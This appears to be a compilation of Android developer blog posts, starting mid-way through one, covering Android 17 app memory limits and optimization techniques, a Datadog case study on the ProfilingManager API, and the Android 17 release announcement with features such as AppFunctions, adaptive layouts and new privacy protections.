Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement.

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution.

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

Set isShrinkResources = true and isMinifyEnabled = true.
Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase
Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

Open the Profiler tab in Android Studio
Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
Scan the analysis results for the yellow warning triangle ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.

Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

Retaining references to Fragments, Activities, or Views that are no longer in use.
Mismanaging Context references.
Failing to properly unregister observers, listeners, and receivers.
Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario	Compose-based example	View-based example
Leaking Context	Example: Passing LocalContext.current to a ViewModel Fix: Keep `Context` dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.	Example: Storing an `Activity` in a companion object or static variable. Fix: Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.
Leaking Listeners	Example: Using `DisposableEffect` to start a listener but leaving `onDispose` empty. Fix: Perform the unregistration and cleanup logic inside the `onDispose` block.	Example: Registering for SensorManager updates and forgetting to unregister. Fix: Manually call `unregisterListener()` in `onStop()` or `onDestroy()` lifecycle.
Leaking Views	Example: Holding a reference to a legacy `View` inside an `AndroidView` without a release strategy. Fix: Use the `release` block of the `AndroidView` composable to clean up the legacy `View`.	Example: Keeping a reference to a view binding object after the `Fragment` is destroyed. Fix: Set the binding variable to `null` inside the `onDestroyView`() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Datadog delivers millions of in-depth performance insights with ProfilingManager

Sat, 25 Jul 2026 10:15:39 +0200

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog

Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.

To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

An example of Datadog's time to initial display measurement with
stack sampling powered by ProfilingManager

Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.

The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices.

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

Android 17 is here

Sat, 25 Jul 2026 10:15:36 +0200

Posted by Matthew McCullough, VP of Product Management, Android Developer

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking.

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.

The R8 Configuration Analyzer

LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods. The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStaticField methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
Standard SMS OTP: Delayed for all apps targeting SDK 37+.
Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
